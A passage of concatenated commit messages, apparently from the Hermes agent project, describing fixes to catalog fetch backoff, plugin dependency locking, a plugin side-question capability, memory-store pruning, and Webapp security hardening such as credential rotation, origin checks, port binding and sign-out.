hint use it. The hint offers `hermes tools enable` only when that save
clears every reported entry, else names the entries to remove.
With no cached manifest, get_catalog() retried the primary and fallback
URLs (8 s timeout each) on every call after a failure, so an offline user
paid ~16 s on every model-picker build (ACP session/new, session/load and
fork each build one). A failed fetch with nothing cached now suppresses
retries of that URL for 5 minutes per process (keyed by profile cache
file + URL, same window as the models.dev registry backoff); later calls
return {} at once and callers use the in-repo lists. A per-provider
override URL gets the same backoff and falls back to the main manifest.
force_refresh (hermes model --refresh, refresh_catalogs) and reset_cache()
bypass/clear it; the success and stale-disk-cache paths are unchanged.
Greptile "Expiry test replaces the deadline": the expiry check zeroed
FETCH_RETRY_DELAY_SECONDS and forced a second failure, so it never proved a
plain call retries once the original window ends. Advance time.monotonic past
the window and call get_catalog() unforced instead.
Greptile "Profiles share override failures": the override backoff was keyed by
URL only, so in a multiplexed gateway one profile's failed fetch suppressed every
other profile's request to the same URL for five minutes. Key every backoff
entry (manifest and override) by (hermes_home_key(), url).
Greptile "Refresh still skips recovered catalogs": clear_provider_models_cache
(/model --refresh, hermes model --refresh) never cleared the fetch backoff, and
refresh_catalogs only bypassed it for the main manifest, so a recovered catalog
or override stayed hidden for up to five minutes. Both now clear the active
profile's backoff first.
Greptile "Working fallback gets skipped": with (home, url) keys, an override
pointing at the main catalog URL recorded its single failed request under the
same key the manifest checks, so get_catalog() returned {} without trying the
raw-GitHub fallback. Backoff keys now carry the kind ("manifest"/"override").
Greptile "Overlapping refreshes skip cleanup": the gateway's refresh_catalogs()
worker thread and picker refreshes read, write and clear the backoff dict
concurrently; clear_fetch_backoff() could raise mid-iteration and abort the
rest of clear_provider_models_cache(). One lock now covers every access.
uv 0.13.5 (pm/lock pin) solves every platform named by tool.uv.environments,
Android included. A plugin-carried native transitive (torch behind nerve's
optional laya extra) has no Python 3.14 Android wheels, so the whole workspace
lock fails and hermes update evicts the plugin instead of installing it.

Generated workspaces install on one host, so narrow the solve to non-Android
platforms on non-Android hosts (Termux keeps today's behaviour). The core's
own lock is untouched and keeps full platform coverage.
uv fails the whole workspace lock when any platform fork lacks wheels for a
dependency (uv >= 0.12.14). The generated plugin workspace inherited core's
environments, which admit every platform, so a Linux or macOS update evicted
mnemosyne (onnxruntime) and any torch-backed plugin over Android, a platform
the install never runs on, and cleared memory.provider with it.

Generalize the Android exclusion to the whole class: the generated workspace's
environments are narrowed to the sys_platform and platform_machine of the
interpreter uv installs into (emscripten, other OSes and other arches drop out
too). The interpreter is probed rather than this process, because PM can run
under a bootstrap Python whose sys.platform differs (older Termux interpreters
report linux). Core's committed lock keeps full platform coverage; it never
passes through the generator. Admission and update eviction both build through
lock_and_sync, so both are covered.

Replaces the unit tests over the dict rewrite with one invariant test on a real
generated workspace.
A plugin that rewrites the final reply with transform_llm_output had its
rewrite stored, but the TUI and desktop app kept showing the raw streamed
reply. A streamed local-viewer turn counts as delivered by the event
stream, so the turn handler returns None and message.complete went out
with text: null next to response_transformed: true. The completion frame
now carries the rewritten final when the stream could not.

The Ink TUI also flushed the raw streamed tail as its own segment before
appending the final, so even with the text present it showed both. A
response_transformed completion now replaces the streamed tail.
post_llm_call now carries a single-use side_question_token when a loaded
plugin holds the new llm.side_question capability. ctx.side_question(token,
prompt) redeems it: ONE text-only request on a cache-parity fork through
the turn loop's own request phases (assemble_api_request, build_api_request,
perform_api_call), never the tool loop. The parent's system prompt, tools[],
reasoning config and max_tokens are replayed verbatim, so the request reads
the warm prompt cache. Tool calls in the reply are dropped, nothing is
persisted, and usage lands on the session as side_question.

Lease rules: one attempt per turn shared by every plugin (consumed even on
failure), 60 s, invalid once the parent starts its next turn, prompt capped
at 4096 chars, timeout capped at 60 s. The lease holds its parent weakly and
runs under the turn's captured contextvars (profile and secret scope).
Refused with None: MoA, agent-as-provider runtimes, requests that carry
provider-executed tools.

has_capability moves with side_question into a PluginContext mixin
(hermes_cli/plugins_capability_ctx.py) so hermes_cli/plugins.py shrinks.

Fixes #143788
/btw and ctx.side_question tore their cache-parity fork down with
shutdown_memory_provider() + close(). The fork shares the live session's
id, and CLI/gateway key a session's terminal sandbox, browser and file
read stamps by that id (run_conversation(task_id=session_id)), so
close() -> _close_task_resources(session_id) -> cleanup_vm/cleanup_browser
tore down the parent session's live tool state after every side question.

Background review already releases only clients for exactly this reason
(_release_fork_clients). Lift that into one shared teardown,
background_review.release_cache_parity_fork(parent, fork, task=...):
attribute usage to the parent under `task`, then release_clients(). Both
one-shot fork callers use it; /btw usage is now recorded under its own
task name, side_question, instead of background_review.

Tests: a parent-session terminal env survives a plugin side question and
a real /btw fork (both red before); the side request runs under the
turn's profile and secret scope when redeemed from a fresh thread.
The side request fired the turn-scoped pre_api_request/post_api_request
after its turn had already closed, so trace-per-turn observers (and the
relay metrics keyed on them) counted a plugin's side call as a model call
of a finished turn. Every other side call (titling, compression, MoA,
vision, ...) reports through pre/post_auxiliary_call instead.

- turn_api_request: build_request_payload() is the payload build through
  the LLM request middleware with no hook; build_api_request() wraps it
  with pre_api_request, the debug dump and the MoA handshake, unchanged
  for the turn loop.
- auxiliary_hooks: start_aux_call_hooks()/finish_aux_call_hooks() expose
  the pre/post pair for callers that drive the provider call themselves;
  post accepts an already-normalized (message, finish_reason, usage) view
  for a transport-native reply.
- side_question_request: build_request_payload + aux hooks with
  aux_task="side_question"; a request refused for server-side tools now
  fires nothing.

Test: a real plugin observing all four events sees pre/post_api_request
for the turn only and pre/post_auxiliary_call (with usage) for the side
request (red before).
- Refuse when the parent's model/provider/base_url/api_mode/reasoning
  changed since the turn was captured: a voice-chat turn routed to
  auxiliary.voice_chat restores the main runtime right after
  post_llm_call, and the captured prompt must not go out on another model.
- has_server_side_tools also reads extra_body.tools: request_overrides
  land there and the SDK merge sends them over the top-level tools.
- One pre/post_auxiliary_call bracket around the whole attempt, so a
  reply that fails after the provider returned (no choices) still closes
  the observer's request with its error; a cancelled call reports an
  InterruptedError instead of an empty success.
- Drop the 32-lease global eviction: it revoked live sessions' tokens on
  a busy gateway. The table already holds at most one lease per live
  agent (new turn, expiry and a dead parent all purge).
- No side_question_token for cron runs (platform="cron") or delegated subagent turns
  (_delegate_depth > 0): nobody reads the answer, so it is pure unattended spend.
- A lease is bound to the profile home it was issued in; a plugin context of another profile
  gets None and leaves the lease for its owner.
- Usage bills to the session the token was issued for (capture.session_id), not the parent's
  id at release time, which can rotate between issue and redeem.
- Plugin side questions report as aux_task="plugin_side_question" with the asking plugin_id in
  pre/post_auxiliary_call, and record usage as plugin_side_question:<plugin_id>; /btw keeps
  side_question.
- Drop the new legacy key llm.allow_side_question: the capability is declare + consent only.
- The timeout starts before the fork build, so runtime resolution counts against it.
* fix(memory): an entry written before a limit was lowered stays removable

The drift guard reads any entry longer than the whole-file char limit as
free text an external writer appended, on the premise that no tool write
can produce one. Lowering memory_char_limit or user_char_limit breaks that
premise: a well-formed file whose entry was written under the old limit
then refuses every replace and remove (tool, approval replay and the
Journey/dashboard delete alike) and writes a .bak each time, while adds are
blocked by the total. Pruning, the documented way back under the limit, is
refused, so the store stays locked until hand-edited.

A file that round-trips but carries an oversized entry now refuses only a
write that adds or rewrites text. A write that only deletes entries goes
through; when it drops an oversized entry the .bak snapshot is still taken
first and returned as drift_backup, so text glued onto an entry without a
delimiter is never deleted without a copy. Round-trip mismatches are
refused as before.

* fix(memory): a refused write beside an oversized entry still names that entry

With deletions now allowed past an oversized entry, a replace or edit that blows the budget
because of that entry came back as a plain budget refusal ("shorten the new content") with no
snapshot, although the oversized entry is the real obstacle. An over-budget refusal next to an
oversized entry returns the drift error and its .bak again; other refusals (no match, would
empty the store) pass through unchanged. The Journey edit/delete closure reports its budget
refusal through _error so the class is visible.

The Journey drift test (43d3d4e851) pinned "delete is refused beside free text"; it now pins
the edit refusal and that a delete leaving the oversized entry in place goes through, which is
the ruling for #133028 (removes must work while the store is over its limit).

* fix(memory): delete-only batches prune past a lowered cap; snapshots never overwrite or go missing

Review round (Greptile on e0ca0c027a8):
- A remove-only batch skips the final budget check like a single remove (the empty-store guard
  still applies), so pruning two small entries beside an oversized one is one call, not two.
- Snapshots are created exclusively (.bak.<ts>, then .bak.<ts>.<n>): two deletes of oversized
  entries in the same second no longer overwrite the first snapshot with content that lacks
  what the first delete removed.
- A delete that drops an oversized entry is refused when its snapshot could not be written,
  instead of deleting possibly glued free text with no copy.

* test(memory): freeze the clock so the same-second snapshot test cannot pass by luck

Greptile on 2eba9c5e78a: with the real clock, two deletes straddling a second boundary get
distinct backup names even without exclusive creation. Pinning time.time makes the collision
certain; reverting to overwrite-mode writes now fails the test.

* chore: retrigger CI (lost synchronize event)

---------

Co-authored-by: John Paul Soliva <soliva.johnpaul@icloud.com>
Review follow-up on #131220: _spellings re-ran _discover_all_plugins for every evicted name. Scan once, lazily, and pass the entries to _plugin_aliases.
When an update had to disable a plugin it also cleared memory.provider, so
the memory provider stayed lost even after the plugin was re-enabled, and
nothing ever retried the plugin: one transient failure (a TLS proxy, a mirror
outage, a since-fixed resolver bug) left it off for good.

- The dependency union now honours plugins.disabled for memory.provider the
  same way the provider loader already does, so eviction no longer has to
  blank the selection. Re-enabling the plugin brings the provider back.
- The eviction is recorded in the home's config under
  plugins.disabled_by_update (was it enabled, and why). Every later update
  retries recorded plugins after the enabled ones and undoes exactly the
  edit once a plugin fits again.
- A user's own enable/disable/remove takes the decision back: PM's selection
  publication forgets the record for the plugin the user settled, and
  `hermes plugins disable` on an update-disabled plugin now writes that.
- Spellings come from the plugin's own manifest instead of a plugin scan of
  the PM process's home, so a profile's plugins are matched in that profile.
- A parked provider is reported, not re-installed: agent init tells the
  user once why external memory is off (naming the update's reason), and
  `hermes memory status` and `hermes doctor` show it instead of "plugin not
  found" or "All checks passed". Doctor lists every update-disabled plugin.
Cover cache, reasoning echo and section reads with real initialization tests.
Preserve fallback semantics and omit exception values from diagnostics.

Zero × Youngseok Oh
Offsets the agent_init.py growth from the parked-provider notice and the
config-load warnings; mark the three config-fallback handlers as reviewed.
Agent init resolves the configured provider in one sibling: a parked
provider gets its notice and is never re-installed, an installed provider
that fails to import (a broken install, missing packages) now tells the user
external memory is off instead of only logging, and the unavailable warning
keeps its once-per-home dedup.

Co-authored-by: AIalliAI <285906080+AIalliAI@users.noreply.github.com>
Co-authored-by: Mani Saint-Victor, MD <drmani215@gmail.com>
- A provider-only record is retried only while memory.provider still names
  it, so a rejoin never installs a provider the user switched away from.
- An installed provider that still fails to load after startup recovery is
  reported even when recovery printed an install notice.
- One spelling reader: plugin_spellings uses the shared native manifest
  reader (plugin.yaml or plugin.yml), and the memory loader uses it too.
Independent review findings on update-disabled plugins:
- Recorded plugins are tried only after the enabled plugins have built, one
  at a time on top of them; an update that has to disable an enabled plugin
  re-enables nothing, so a download failure can never swap two plugins.
- A resolver or build verdict records a fingerprint of what was tried (core's
  dependency inputs plus the plugin's) and is not built again until one side
  changes; a download failure is retried by the next update, and those go
  first because they fitted beside the rest before.
- The update publishes against the config snapshot it decided from, and a
  rejoin needs the record to still be there, so a user's mid-update choice
  stands.
- Recorded reasons keep their readable start, not the tail of a uv error.
- An installed provider that fails to import is reported as such instead of
  running recovery, and the startup notices dedupe per kind.
A plugin disabled for conflicting with an enabled one now comes back once
that plugin changes or leaves: the fingerprint is taken against the members
the update leaves enabled, and compared against the enabled members of the
next update.
openai 2.54.0 (128b101efd) made InputTokensDetails.cache_write_tokens a
required field. The fake Responses server builds its usage block from the
SDK's pydantic types, so every response.completed raised ValidationError in
the server thread, the socket closed mid-stream, and the Hermes child saw
APIConnectionError: oneshots retried until the 150 s timeout, the
rejected-replay cases fell through to the fallback, and the TUI gateway
turn never finished.

Turn gains cache_write_tokens (default 0) and the fake emits it, matching
the current Responses wire.
Carried from BearHuddleston's #93508 onto main. The Webapp relay and the
profile-incarnation fence stay out: carried code follows main's
named-profile rule and refuses a missing or deleted profile home.

- Webapp routes: one-use launch tickets, window handoff, and gateway
  WebSocket tickets minted for the signed-in browser
- Browser surface policy and the SPA document policy
- A host terminal for the browser that survives reconnects
- Staged browser uploads and file tickets; file.attach takes a staged upload
- hermes sessions adopt
- Webapp bundle build helpers and the renderer freshness check
- Regenerated gateway contracts

Co-authored-by: emozilla <emozilla@nousresearch.com>
Carried from BearHuddleston's #93508: the browser bridge and transport,
launch-session handling, touch and phone layout, browser previews, file
staging, the host terminal rail, Webapp settings pages and media ticket
renewal. Relay-only and fence-only code stays out.

Co-authored-by: emozilla <emozilla@nousresearch.com>
With webapp.enabled set, the gateway binds its listener to webapp.host and
webapp.port (127.0.0.1:9120 by default) and serves the Desktop bundle next
to the session API the browser uses. The gateway keeps the browser
credential in its home, so open tabs stay signed in across a restart.
Private control-socket verbs report status, mint one-use launch links and
sign every tab out.

When the Webapp's listener cannot start, the gateway keeps main's private
listener for native clients and reports the reason. With the Webapp off,
the listener is exactly main's.
hermes webapp builds the bundle when it is stale, starts the gateway and
opens a one-use link the gateway mints over its private control socket.
On macOS the server cannot verify a one-use link's peer, so the command
prints the gateway's private link and never opens it. --status and
--sign-out ask the running gateway; sign-out also works with no gateway
running. A named profile served by the default gateway opens on that
profile.
A Webapp tab without a valid sign-in shows "Sign in to Hermes" and the
command that signs it in. The boot-failure screen and its recovery buttons
stay for real startup failures.
The e2e spec starts the gateway through hermes webapp, runs a turn from a
real browser, keeps the tab signed in across a gateway restart, and checks
that sign-out cuts it off. The smoke script targets the Webapp's port.

Co-authored-by: Bear Huddleston <bear@bearhuddleston.dev>
Configuration, the hermes webapp command, the Desktop guide's browser
section, and the operator credential in the gateway session notes.
Ported from BearHuddleston's #93508.

SameSite=Lax keeps cross-site pages from sending the sign-in cookie, but a same-site sibling
(another port or subdomain) still sends it. A write that carries the cookie now has to come from
the dashboard's own origin: the browser's Sec-Fetch-Site decides when present, otherwise Origin
must match. Native clients and bearer tokens are unaffected.

Co-authored-by: emozilla <emozilla@nousresearch.com>
Drives the gateway's own dashboard mount with the Webapp on a wildcard host behind a cookie
sign-in. Cross-site, same-site-sibling, Fetch-Metadata-less and Origin null writes get 403 and
change nothing; the Webapp's own page, Electron-style cookie requests and bearer tokens still
write.
Ported from BearHuddleston's #93508.

@hermes/shared gets fileUrlToNativePath, which reads a file: URL the way the URL implies: a UNC
host or a drive letter is Windows, anything else POSIX. Previews, media and Electron's media
protocol use it, so a drive-letter or UNC URL names the same file on every surface and a URL that
encodes a separator names none.

Co-authored-by: emozilla <emozilla@nousresearch.com>
Pins both halves of the same requests: the browser reads drive-letter and UNC file: URLs by their
native paths and streams clips by the URL itself, and the gateway resolves exactly those
requests.
The gateway decodes %2F and %5C into path separators, so such a clip could play a different file
than its label names. The browser refuses any file: URL the shared parser refuses before it asks
for a stream ticket.
hermes sessions adopt prints one line and exits 1 when state.db predates the session tables (run
hermes sessions repair) or another program holds it locked (close it and run the command again).
It changes nothing in either case.
Reading a pasted image on an SSH profile dialed the host before looking in the local cache, so a
host that was down turned a cached read into a 500. The cache comes first; with the host down and
nothing cached, the route answers 503.
A reattach replays up to 1 MiB of recent output in one frame, and the frame deadline assumed at
least about 256 kbit/s, so on a slower link every redial timed out. A replay that times out is
halved for that session's next attach, so a link of any speed gets a replay it can carry.
The keep-alive takeover test runs on every platform. The shell-keeping test also runs through
the Windows bridge (WinPtyBridge) over a fake console; its real-pty version stays POSIX-only.
A loopback Webapp tab opened its host terminal with the session token in the socket URL, where
logs, history and proxies keep it. An authenticated request now mints a one-use ticket named for
one socket: a chat ticket does not open the host terminal, a terminal ticket does not open the
chat socket, and the host terminal opens only with its own ticket. The Webapp's plugin sockets
use their polling fallback, as the signed-in Webapp already did, so no URL carries the token.

hermes webapp --sign-out replaced the token but left open tabs connected until they reconnected.
The gateway tracks every socket the session token opened, closes them with 4401 on sign-out and
revokes media stream links. Native clients and signed-in browsers stay connected.
Dropping a file onto the browser terminal did nothing: only Electron can read a dropped file's
path. The Webapp uploads each dropped file through the composer's staging upload (16 MiB each)
and types the host paths, quoted for the terminal's shell. Electron is unchanged.
The browser host's change made native Desktop try navigator.clipboard before IPC. Electron writes
through IPC again, with the browser API as fallback; the Webapp uses only the browser API.
The browser host's change made a failed native ticket mint reject on local Electron too, where
main dials the cached URL. Only the Webapp's own socket (native_dial=browser) rejects now; that
value is one shared constant, BROWSER_NATIVE_DIAL.
The smoke script looked only for 'Desktop boot failed', so a Webapp showing 'Hermes couldn't
start' or the sign-in view passed. It reads both titles from en_boot.ts and fails naming the
screen.
Electron attaches to the gateway serving a Webapp and answers the approval a Webapp turn raised,
exactly once; then the Webapp's Stop ends a turn Electron started.
The browser bridge's getConnection() returned no connectionId, so the gateway store could not route
a request onto the window's socket and opened a short-lived second one; its early close logged a
pair of 'ws send failed' warnings on every page load.
/api/fs/default-cwd read terminal.cwd or TERMINAL_CWD, so the default '.' won and was then dropped
as a placeholder, falling back to the serving process's own folder: a gateway started from a
checkout put Webapp sessions and terminals there. A placeholder now counts as unset, so
TERMINAL_CWD (home) answers, as it does for native Desktop.
After hermes webapp --sign-out an open tab kept reconnecting with 401s. The browser bridge raises
the shared GatewayReauthRequiredError when the tab has no credential or the gateway refuses it, so
the reconnect loop stops and the startup overlay shows the Webapp sign-in view. The 'signed you
out' toast is skipped there: the view already says what to do.
With webapp.host 0.0.0.0 and no sign-in provider, the dashboard's auth gate refuses the listener
by raising SystemExit, which the Webapp fallback did not catch, so the whole gateway exited. The
fallback takes that refusal like any other: it keeps main's private listener and reports the
gate's message. Cancellation still propagates.
The gateway reads the Webapp's settings and sign-in providers when it starts. When the Webapp is
unavailable, hermes webapp and --status now say to run hermes gateway restart after the fix.
Behind the dashboard sign-in, hermes webapp still minted a one-use launch link, and
/webapp/launch serves only a private Webapp, so after signing in the browser landed on a 404. The
launch verb returns the Webapp's address there instead, and the launcher opens it and says to
sign in.
Documents what hermes webapp does behind the sign-in gate, that sign-out closes open tabs, the
gateway restart after fixing an unavailable Webapp, terminal file drop and the terminal's starting
folder.
The Webapp listens on a fixed port, and the gateway created its listener without SO_REUSEADDR. On
Linux a gateway started right after the last one was killed could not bind that port while the old
connections sat in TIME_WAIT, so it fell back to the private listener and the Webapp went
unavailable; the desktop e2e spec's restart step caught it. A fixed port now sets SO_REUSEADDR on
POSIX. Windows keeps it off, where the option lets another process bind the same port, and main's
private listener on port 0 is unchanged.
When the Webapp's listener could not start after its dashboard mount was already up, the gateway
fell back to its private listener and then crashed: undoing the mount set the Webapp surface to
None instead of removing it, and the private listener's mount looked None up in the surface table
(KeyError). The gateway was left with no API listener, so native Desktop, the CLI and the TUI could
not connect. Two profiles starting on the default Webapp port together can hit this: both bind
the port, and the one that loses the race to listen fails after its mount is up.

Undoing the mount now removes the surface and the bundle path it set, so the private listener
mounts the dashboard exactly as main's does. A new test runs the real listener in a child
process, makes its startup fail after the mount, and checks that native clients get a working
private listener with no Webapp state on it.
Under SO_REUSEADDR (POSIX, fixed ports) two processes can both bind the Webapp's port, and the
first to listen owns it. The gateway only listened once uvicorn started, after the dashboard mount
had loaded, so a second profile's gateway or another program could take the port during the mount
and the gateway then had to unwind the mount before falling back to its private listener.

The gateway now listens on a fixed port as soon as it binds it. Losing the race fails the bind or
the listen at once, before anything is mounted; winning it makes a rival's later listen fail.
Main's private listener on an ephemeral port is unchanged. One test checks on every platform that
the port accepts connections while the dashboard mounts; a Linux-only test has a rival bind the port
first and try to listen during the mount.
The gateway's Webapp listener read dashboard.public_url, the setting that describes `hermes
dashboard` behind a reverse proxy, to decide whether to require sign-in on a loopback bind, which
outside hostname to accept and where to send sign-in callbacks. So a user with a proxied dashboard
got a Webapp that demanded sign-in and accepted the dashboard's hostname, and with no sign-in
provider the gateway exited outright; and the Web Access pane had to rewrite dashboard.public_url
to publish the Webapp, breaking the dashboard it belonged to.

The Webapp now has webapp.public_url: an optional http(s) address with no credentials, query or
fragment (anything else keeps the Webapp off, like the other webapp settings). On the Webapp
listener it alone engages sign-in on a loopback bind, is the one outside hostname accepted, and is
the base of the sign-in and MCP OAuth callbacks and of the Origin check for browsers without Fetch
Metadata; dashboard.public_url never applies there. The listener records its own URL on the app
state and the shared resolver returns it; `hermes dashboard` declares none and reads
dashboard.public_url exactly as before. When the Webapp's URL needs sign-in and no provider is
registered, the gateway's reason names webapp.public_url. The key is in DEFAULT_CONFIG and the
configuration docs.
The Webapp's browser credential now survives gateway restarts, and open tabs keep sending it to
whatever answers on the Webapp's fixed port. When the gateway could not listen there (another local
process held the port, or the listener failed for another reason), it kept the credential as it
was: a process squatting on the port could collect it from an open tab and, once the real gateway
had the port back, use it there to open a host shell.

Whenever the Webapp's listener fails to start, the gateway now writes a new credential before it
falls back to its private listener, so a credential sent to another process opens nothing here.
Open tabs then have to sign in again (`hermes webapp`) once the Webapp is back, which is the point.
A Webapp that starts normally keeps the credential, so tabs still survive an ordinary restart.
The gateway served the Webapp's bundle directory without checking that it held a build. With
webapp.enabled set and no bundle (turned on by hand or from Settings → Web Access, or a wiped
apps/desktop/dist-webapp), `hermes webapp --status` said "Serving at http://127.0.0.1:9120" and the
page answered 404 "Frontend not built. Run: cd web && npm run build", which names the dashboard's
web project, not the Webapp.

The gateway now reports the Webapp unavailable while its index.html is missing, with a reason that
names the missing file and says to run `hermes webapp`, which builds it. It mints no launch link in
that state, and the page's 404 on the Webapp says "The Webapp is not built. Run: hermes webapp".
The listener already serves a bundle as soon as it appears, so the status turns to serving once
the build exists, and `hermes webapp --status` does not ask for a gateway restart for this reason.
Sign-out does not depend on the bundle.
With an invalid webapp.host, webapp.port or webapp.public_url, or an enabled value that is not a
boolean, the gateway kept the Webapp off as it should, but the reason only reached a log warning:
`hermes webapp` printed "Set webapp.enabled: true" even when it was already true, and the gateway's
status said off. `hermes webapp --status` against a gateway that predated a valid `enabled: true`
gave the same advice.

webapp_settings now returns the reason with its settings. The gateway reports such a block as
unavailable with that reason (so a launch is refused with it too), and `hermes webapp` and
`hermes webapp --status` print the block's own problem and how to retry. When the config already
turns a valid Webapp on but the running gateway started before that, the status asks for a restart.
"Set webapp.enabled: true" stays for a config that does not ask for the Webapp at all.
webapp.host "[::1]" passed the loopback check, which stripped the brackets only for the check, so
the gateway kept them: it could not bind "[::1]" and fell back to its private listener, and the
address it reported was http://[[::1]]:9120, with a confusing error. "[::]" was refused outright.

The Webapp now reads a bracketed IPv6 address, as written in a URL, as the bare address, so
"[::1]" binds ::1 and is reached at http://[::1]:9120, and "[::]" is the IPv6 wildcard. Brackets
around anything else ("[127.0.0.1]", "[localhost]", unbalanced ones) keep the Webapp off with the
webapp.host reason.
On Windows the gateway bound the Webapp's fixed port with no sharing option. Another local process
could still bind the same port with SO_REUSEADDR at a more specific address; with the Webapp on
0.0.0.0, a squatter on 127.0.0.1 would then receive the loopback connections, the ones native
clients and local browser tabs make, along with the tickets and credentials they carry.

The fixed port now sets SO_EXCLUSIVEADDRUSE on Windows, so such a bind is refused while the
gateway holds the port. A restarted gateway still takes the port back at once (checked on Windows
11 with lingering closed connections), and main's private listener on an ephemeral port is
unchanged. POSIX keeps SO_REUSEADDR for the TIME_WAIT rebind.
The docs said only a 0.0.0.0 or :: host turns on the Webapp's sign-in gate. A public URL does too,
on a loopback host, and `hermes webapp` then opens the Webapp's address instead of a one-use link.
The configuration reference, the Desktop guide, the `hermes webapp` reference and the gateway
sessions guide now name both triggers (webapp.public_url, not dashboard.public_url), say that the
listener native clients use never asks for sign-in, and say that a taken Webapp port replaces the
browser sign-in so open tabs need `hermes webapp` again.
The Webapp keeps its browser credential in webapp/session-token inside the profile home. That
file was not registered as a profile credential, so `hermes profile export` shipped the live
token in the archive, and `hermes profile create --clone-all` copied it into the new profile,
where a second gateway would accept the same browser credential. Signing one profile's browsers
out then left them signed in to the other gateway, and anyone handed the export held a credential
that opens a host shell.

The webapp directory is now one of the profile credential stores, so export drops it and a
distribution never installs or replaces it. --clone-all strips webapp/session-token like the
other per-gateway runtime files; the clone's gateway mints its own credential on first use.
The gateway keeps the Webapp's browser credential in webapp/session-token, created 0600 in a
0700 folder. An existing file or folder was reused as found: a token file left world-readable
(a restore, a copy, a hand edit) kept serving as the credential that opens a host shell, and a
folder left 0755 stayed listable by every local user.

On POSIX the gateway now closes an open credential folder back to 0700 whenever it reads or
replaces the token, and treats a token file that grants group or other access, or belongs to
another user, as exposed: it writes a new 0600 token instead, which signs the open tabs out once.
Windows homes keep their own ACL and are left alone.
A browser asks the gateway for a file ticket with its session token, then uses the ticket in a
download link or a video source. Signing out drops every stored file ticket, but a request
admitted with the old token just before the sign-out could still store its ticket just after
it. That ticket kept streaming the file for up to an hour, after the credential that asked for
it was gone. Socket tickets already avoid this by recording which token minted them.

A file ticket now records the digest of the session token its request presented and redeems
only while that token is current, and a stale one is dropped on first use. Tickets minted with
any other credential (a sign-in, a native client) behave as before. The socket module's
current-token digest is public so both ticket kinds use the same check.
`hermes webapp --sign-out` replaced the browser session token and closed the sockets that token
had opened. On a Webapp behind the sign-in gate (a wildcard bind, or a public URL in front of a
loopback bind) browsers never hold that token: they sign in with the dashboard's password or
OAuth provider and keep that login in cookies. Sign-out reached none of it. After it, a signed-in
browser still read /api/sessions, minted socket tickets, and kept its chat socket and host
terminal open, so signing out to cut off a lost device left that device a live host shell.

Each login on the gateway's Webapp is now bound to the browser session token. A password login
or OAuth callback there also sets the HttpOnly cookie hermes_webapp_signin, the hex
HMAC-SHA256 of "webapp-sign-in" keyed with the current token, with the session cookies' Path,
SameSite and Secure policy; a refresh renews it with them. The gate treats a cookie session on
the Webapp without a matching value as signed out: API requests get 401 with the login URL and
pages go to /login. Replacing the token therefore signs every browser out, whichever provider it
signed in with, and so does the CLI replacing the stored token while no gateway runs.

A request whose binding checked out records the token's digest, and the socket tickets it mints
(chat, host terminal, /api/auth/ws-ticket) carry it. Redeeming such a ticket after a sign-out
opens nothing, and the socket it opens is tracked like a token socket, so sign-out closes it with
4401. The verb now reports whether the gate is on and how many browser sockets it closed. The
standalone dashboard never sets or checks the binding and keeps its logins as before.
The command printed "Signed out of every Webapp tab." whatever happened. A gateway that refused
the request, one still starting, one not serving the Webapp, and one that signed out nobody
behind the sign-in gate all got the same success line, and the CLI also rewrote the stored
credential on any refusal, which a running gateway never reads again.

The gateway's answer now says what it did. A gateway serving the Webapp reports whether the
sign-in gate is on and how many browser connections it closed; the command prints that, and
behind the gate says browsers must sign in again. A gateway running without the Webapp replaces
the stored credential itself and says no browser was connected. With no gateway running, the
command replaces the stored credential and says so plainly. A refusal prints "Nobody was signed
out" with the gateway's reason and exits 1, and no longer touches the stored credential. A
gateway started before this change, which reports no count, gets a line asking for a restart so
browsers behind sign-in are signed out too.
A gateway reads the stored browser credential while it starts, before its control socket accepts
the sign-out request. Asked in that window, the gateway answered that it did not know the request
yet, and the command fell back to rewriting the stored credential, which the starting gateway had
already read and kept using. The browsers stayed signed in.

The command now asks the gateway's lock and control socket what state it is in whenever the
sign-out does not go through. While the gateway is starting, it retries for up to 30 seconds and
reports what the gateway then did; if the gateway is still starting after that, it says nobody
was signed out and exits 1. It rewrites the stored credential itself only when no gateway is
running at all. Any other gateway that does not answer gets "Nobody was signed out" with its
state, rather than a rewrite it would never read.
`hermes -p <name> webapp` is refused when that profile was deleted. With HERMES_HOME pointing at
the deleted profile's folder instead, that check is skipped, the command resolved the default
gateway as the one serving that profile, and `--sign-out` replaced the default gateway's browser
credential and reported success: every default-profile browser was signed out by a command run
for a profile that no longer exists. A plain `hermes webapp` would likewise start the default
gateway and open the Webapp on the missing profile.

The command now checks the home first. When it is a named profile that is deleted, missing or
an empty shell, it prints the same error `-p <name>` prints and exits 1 before touching any
gateway or credential, for --sign-out, --status and opening the Webapp alike.
A Webapp tab asks for a Bot Desktop viewer over its chat socket (display.observe) and opens
/api/display/ws with the ticket it gets back. That viewer streams the agent's screen and, while
it holds the lease, sends keyboard and pointer input. `hermes webapp --sign-out` closed the tab's
chat socket and host terminal but never the viewer, which kept watching and driving the screen
after sign-out; a viewer ticket minted just before sign-out still opened one after it.

The viewer ticket now carries the credential digest the asking socket was admitted with, when
sign-out covers that socket (the browser session token or a Webapp login bound to it). The
display route refuses such a ticket with 4401 once that credential is replaced and otherwise
tracks the viewer with the tab's other sockets, so sign-out closes it with 4401 too. A viewer
opened by a native client carries no browser credential and is left alone.
`hermes webapp` hands the browser a one-use launch link through the browser launcher's command
line. On Linux every local user can read that command line, so the link is redeemed only over a
connection the gateway's own user owns; macOS has no such check and gets the private credential
link to open by hand instead. Every other platform skipped the check and redeemed the link for
any connection, including FreeBSD, OpenBSD and illumos, which also show every process's argv to
all local users by default: another user there could read the link before the browser spent it
and sign in as the owner.

The check now fails closed. Linux keeps its connection-owner check. Windows keeps redeeming
without one, because a process's command line there is readable only by its own user, SYSTEM and
elevated administrators (the process DACL), so the link is as private as the stored credential.
Every other platform is treated like macOS: the gateway returns the private credential link for
the user to open, and a launch ticket presented there is refused.
The Webapp journey spec signed out only a tab that the loopback launch link signed in. It now
also covers a Webapp behind the sign-in gate (a loopback bind with a public URL and the bundled
password provider). Chromium signs in with the password and loads the Webapp, and `hermes webapp
--sign-out` then has to close the tab's socket, report the closed connection and that browsers
behind sign-in must sign in again, refuse the API, and send a reload to the sign-in page. Signing
in again restores access.

The gate settings are named in one helper, so moving them to another config key changes one
place. Linux CI only, like the rest of the spec.
The Webapp docs said `hermes webapp --sign-out` signs out the tabs a launch link signed in. They
now say it also signs out every browser that signed in with a dashboard account behind the
sign-in gate, closes Bot Desktop viewers with the rest of a tab's connections, reports how many
connections it closed, waits for a gateway that is still starting, and replaces the stored
credential itself only when no gateway runs. The private-link fallback is documented for the BSDs
as well as macOS, and the developer guide records how a Webapp login is bound to the browser
session token (the hermes_webapp_signin cookie).
